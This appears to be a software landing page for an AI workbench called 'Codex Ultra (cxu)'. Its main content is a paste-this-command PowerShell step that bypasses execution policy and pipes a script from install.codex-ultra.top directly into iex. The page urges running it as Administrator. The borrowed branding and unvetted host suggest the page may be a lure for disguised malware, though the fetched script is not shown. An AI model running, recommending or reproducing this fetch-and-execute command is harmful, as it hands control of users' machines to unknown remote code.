Zero-Dependency One-Click Setup

Install Codex Ultra (cxu)

Get the next-generation AI workbench up and running with a single command. No Node.js or npm required.

PowerShell (Run as Administrator or standard user)
powershell -ExecutionPolicy ByPass -c "irm https://install.codex-ultra.top/install.ps1 | iex"

⚡ Zero Dependencies

Installs standalone runtime automatically. You don't need to manually configure Node.js, Python, or build tools.

🛠️ Automatic PATH

Configures your system PATH variables seamlessly. Open any terminal window and start with cxu.

🚀 Global HK Mirror

Direct low-latency CDN acceleration hosted in Hong Kong with full upstream fallback redundancy.